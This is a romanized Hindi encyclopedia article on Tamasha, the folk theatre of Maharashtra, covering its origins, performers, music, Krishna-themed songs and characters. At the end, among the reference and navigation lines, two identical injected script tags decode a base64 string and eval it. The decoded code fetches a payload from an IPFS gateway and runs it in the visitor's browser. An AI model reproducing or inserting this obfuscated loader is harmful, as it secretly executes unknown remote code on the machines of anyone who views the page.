तमाशा
[[chitr:Tamasha.jpg|thumb|250px|tamasha, maharashtr]] tamasha bharat ke lok natak ka shrriangarik roop hai, jo pashchim bharat ke maharashtr rajy mean 16vian shatabdi mean shuroo hua tha. any sabhi bharatiy lok natakoan mean pramukh bhoomika mean pray: purush hote haian, lekin tamasha mean mukhy bhoomika mahilaean nibhati haian. 20vian sadi mean tamasha vyavasayik roop se bahut saphal hua. tamasha maharashtr mean prachalit nrityoan, lok kalaoan ityadi ko naya ayam deta hai. yah apane ap mean ek vishisht kala hai.
shuruat
tamasha natak ka hi ek roop hai. isaki shuruat maharashtr mean 16vian sadi mean huee thi. yah lok kala yahaan ki any kalaoan se tho di alag hai. 'tamasha' shabd ka arth hai- "manoranjan". kuchh shodhakartaoan ka manana hai ki sanskrit ke natak roopoan- prahasan aur bhan se isaki utpatti huee hai. is lok kala ke madhyam se mahabharat aur ramayan jaisi pauranik kathaoan ko sunaya jata hai. isamean dholaki, dram, tunatuni, manjira, daph, halagi, k de, haramoniyam aur ghuangharuoan ka prayog kiya jata hai.
sthan
mukhy roop se tamasha maharashtr ke 'kolhati' samuday dvara kiya jata hai. is kala ko prastut karane ke lie kisi manch ityadi ki avashyakata nahian hoti hai. ise kisi bhi khule sthan par kiya ja sakata hai.
krishna sanbandhi kathaean
tamasha ke shuroo hote hi sabase pahale bhagavan ganesh ki vandana ki jati hai. isake bad galavana ya gaulaniyar gae jate haian. marathi dharm-sahity mean ye krishnalila ke roop haian, jisamean bhagavan krishna ke janm ki vibhinn ghatanaoan ko darshaya jata hai.
charitr
nrity shrriankhalaoan ke alava tamasha mean natukani, sauangadya aur any charitroan dvara anek prakar ke shabdik katakshoan aur koot prashnoan dvara vad-prativad bhi kiya jata hai. natukani ka charitr mahilaean nibhati haian. is lok kala mean yaman, bhairavi aur pilu hindustani rag mukhy roop se prayog kie jate haian. isake atirikt any lok gitoan ka bhi prayog kiya jata hai. isake aant mean sadaiv buraee par achchhaee aur asaty par saty ki vijay ka sandesh diya jata hai.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>